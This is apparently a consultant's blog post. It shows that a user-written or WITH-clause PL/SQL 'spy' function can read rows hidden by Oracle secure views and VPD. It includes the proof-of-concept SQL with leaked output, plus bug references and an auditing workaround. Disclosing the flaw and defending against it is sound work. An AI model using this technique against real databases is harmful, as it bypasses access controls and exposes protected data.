optimizer_secure_view_merging and plsql_declarations

The Original Problem

A customer is currently upgrading some Oracle databases from 11.2 to 19c. One query was extremely slow on the new test system and my job was to find out why. The root cause was that the database parameter optimizer_secure_view_merging was set to a different value. In 19c true and false in 11.2. This led to a different and in fact bad execution plan in 19c.

Now the question was, should the customer keep the default value of optimizer_secure_view_merging in 19c and rewrite the slow query or change the parameter to false as in 11.2 to get a good performance without a code change?

What About the opt_param Hint?

Actually, the first thing I tried was the opt_param('optimizer_secure_view_merging','false') hint. Unfortunately, this does not work in 19c. It’s a known bug 28504113. Fixed in 23c. However, I can’t really recommend waiting for 23c, right?

What About the merge view Privilege?

The merge any view privilege is a good option for highly privileged users and roles. But it should not be granted lightly to any ordinary role or user.

The merge view privilege can be granted per view to a user or role. This has a similar scope as a hint in the subquery of a view without having to change the code. In fact, it is an excellent option to override the optimizer_secure_view_merging setting for a view. We could grant merge view on <owner>.<view_name> to public to mimic the scope of a hint in the subquery of a view.

However, the customer uses a metadata-driven approach to generate the grants for end-user roles as part of the application. And it would require a change of the application to handle this exceptional case. Of course, this grant can easily be hard coded for the view in question, but this is something the customer would like to avoid.

Christian Antognini’s Recommendation

Chris explains optimizer_secure_view_merging on pages 289 to 291 in Troubleshooting Oracle Performance, 2nd Edition. On page 291 he writes the following:

If you’re neither using views nor VPD for security purposes, I advise you to set the optimizer_secure_view_merging initialization parameter to FALSE.

In my case, the customer uses views and protects them with Virtual Private Database policies. According to Chris, the customer should keep the default value true for optimizer_secure_view_merging. A sound advice.

What Security Risk Are We Talking About?

Troubleshooting Oracle Performance, 2nd Edition comes with an allfiles.zip file. It contains a script optimizer_secure_view_merging.sql in the folder chapter09. Chris used this script to explain the impact of optimizer_secure_view_merging in his book. I reused this script here with minor changes.

Let’s connect as user sys and create a database user u1 for the application data and code and a user u2 as connect user (with passwords which work in Autonomous Databases). We also disable optimizer_secure_view_merging.

create user u1 identified by "AppOwner2022"    default tablespace users quota unlimited on users;
create user u2 identified by "ConnectUser2022" default tablespace users quota unlimited on users;

grant create session, create table, create procedure, create view, create public synonym to u1;
grant create session, create procedure to u2;

alter system set optimizer_secure_view_merging=false scope=memory;

Now we connect as user u1 and create a table t with 6 rows. and a function f to filter rows in the view v.

create table t (
  id    number(10) primary key,
  class number(10),
  pad   varchar2(10)
);

execute dbms_random.seed(0)

insert into t (id, class, pad)
select rownum, mod(rownum, 3), dbms_random.string('a', 10)
  from dual
connect by level <= 6;

execute dbms_stats.gather_table_stats(user, 't')

create or replace function f(in_class in number) return number as
begin
   if in_class = 1 then
      return 1;
   else
      return 0;
   end if;
end;
/

create or replace view v as
   select *
     from t
    where f(class) = 1;

grant select on v to u2;

create or replace public synonym v for u1.v;

Let’s connect as user u2 to query the view.

select id, pad
  from v
 where id between 1 and 5;

        ID PAD       
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL

Only two of five rows are returned due to the where clause in the view. So far so good.

The user u2 has the right to create own functions. And that is a security risk. Why? Because the user can write a spy function like in the next example:

create or replace function spy(
   in_id  in number,
   in_pad in varchar2
) return number as
begin
   dbms_output.put_line('id='
      || in_id
      || ' pad='
      || in_pad);
   return 1;
end;
/

set serveroutput on size unlimited
select id, pad
  from v
 where id between 1 and 5
   and spy(id, pad) = 1;

        ID PAD       
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL

id=1 pad=DrMLTDXxxq
id=2 pad=XOZnqYRJwI
id=3 pad=nlGfGBTxNk
id=4 pad=AszBGEUGEL
id=5 pad=qTSRnFjRGb

Look at the server output for id 3, 4 and 5. By using the spy function in the where clause the user can get access to all rows in table t. This is only possible because

• the database parameter optimizer_secure_view_merging is set to false,
• the optimizer applies the spy function to an intermediate result and
• the user u2 has the create procedure privilege.

When you call alter system set optimizer_secure_view_merging=true scope=memory; then the result of the previous query looks like this:

        ID PAD       
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL

id=1 pad=DrMLTDXxxq
id=4 pad=AszBGEUGEL

The spy function does not reveal protected data anymore. Thanks to optimizer_secure_view_merging=true.

The Next Problem

The customer’s connect users do not have create procedure privileges. After all, It’s a PinkDB application. Hence I could recommend to set optimizer_secure_view_merging=false, because the connect users would not be able to write their own spy functions, right?

Wrong. For two reasons.

Firstly, the user could have access to an existing function that might be misused, e.g. a logger function.

Secondly, we are on 19c. And since 12.1 we have plsql_declarations to write PL/SQL functions and procedures in the with_clause of a select statement. As a result, I can write a spy function without the create procedure privilege. For example like this:

set serveroutput on size unlimited
with
   function spy(
      in_id  in number,
      in_pad in varchar2
   ) return number as
   begin
      dbms_output.put_line('id='
         || in_id
         || ' pad='
         || in_pad);
      return 1;
   end;
select id, pad
  from v
 where id between 1 and 5
   and spy(id, pad) = 1;
/

        ID PAD       
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL

id=1 pad=DrMLTDXxxq
id=2 pad=XOZnqYRJwI
id=3 pad=nlGfGBTxNk
id=4 pad=AszBGEUGEL
id=5 pad=qTSRnFjRGb

Again, look at the server output for id 3, 4 and 5. Protected data is revealed, even if the user has only the create session privilege and optimizer_secure_view_merging is set to true. IMO this is clearly a security bug.

What Database Versions Are Affected?

I assume that all Oracle Database versions from 12.1 onwards are affected. Including Autonomous Databases. I have explicitly tested the following versions:

• OCI as of 2022-10-30:
  • Autonomous Database 21c (ATP)
  • Autonomous Database 19c (ADW, AJD)
• On-Premises
  • Oracle Database XE 21c
  • Oracle Database Enterprise Edition 19c (19.16)

What Can We Do?

I created SR 3-31087264311 for this issue. I expect that either a workaround is provided or a bug is opened and a fix will be available soon. I’ll update this blog post accordingly. (Update on 2023-02-27: Bug 34777606 is referenced in the SR, but not visible. However, it’s an accepted security bug and fixed in 23c. I’ve tested it successfully in 23.2. It’s not planned to include a fix as part of an RU for 19c. However, you can request a one-off patch via SR.).

In any case, if you have views or VPD policies for security purposes, set optimizer_secure_view_merging=true and ensure that the connect users do not have the create procedure privilege. Follow the principle of least privileges.

As a workaround, you can use Fine-Grained Auditing to identify statements with plsql_declarations. You can either log them or abort the execution as in the following example:

create or replace procedure u1.suppress_plsql_delcarations_handler(
   in_object_owner in varchar2,
   in_object_name  in varchar2,
   in_policy_name  in varchar2
) is
begin
   if regexp_like(sys_context('userenv', 'current_sql'), 'with[^fp]+(function|procedure)', 'i') then
      raise_application_error(-20942, 'plsql_declarations are not allowed in the with_clause. See policy '
         || in_policy_name
         || ' for '
         || in_object_owner
         || '.'
         || in_object_name);
   end if;
end;
/

begin
   dbms_fga.add_policy(
      object_schema   => 'U1',
      object_name     => 'V',
      policy_name     => 'SUPPRESS_PLSQL_DELCARATIONS_POLICY',
      handler_schema  => 'U1',
      handler_module  => 'SUPPRESS_PLSQL_DELCARATIONS_HANDLER',
      statement_types => 'SELECT,INSERT,UPDATE,DELETE'
   );
end;
/

You have to register a policy for each view. This can be easily generated. However, you should consider that such a policy has an impact on performance. Therefore, you should define such a policy only when needed.

Updated on 2022-11-02, documented workaround via DBMS_FGA.

Updated on 2022-11-03, updated workaround regarding comments before plsql_declarations and support for all DML statements.

Updated on 2023-03-13, added reference to bug 34777606 (not visible), fixed in 23c, no information regarding backport yet.

Updated on 2023-03-27,  “Bug 34255928 – INCORRECT SECURE VIEW MERGING FOR A QUERY WITH A FUNCTION DEFINED IN ITS WITH CLAUSE” fixed in 23c, backport possible as a one-off patch via SR. No plans to include it in an RU for 19c.

Updated on 2023-04-05: Tested successfully in 23c, Developer-Release Version 23.2.0.0.0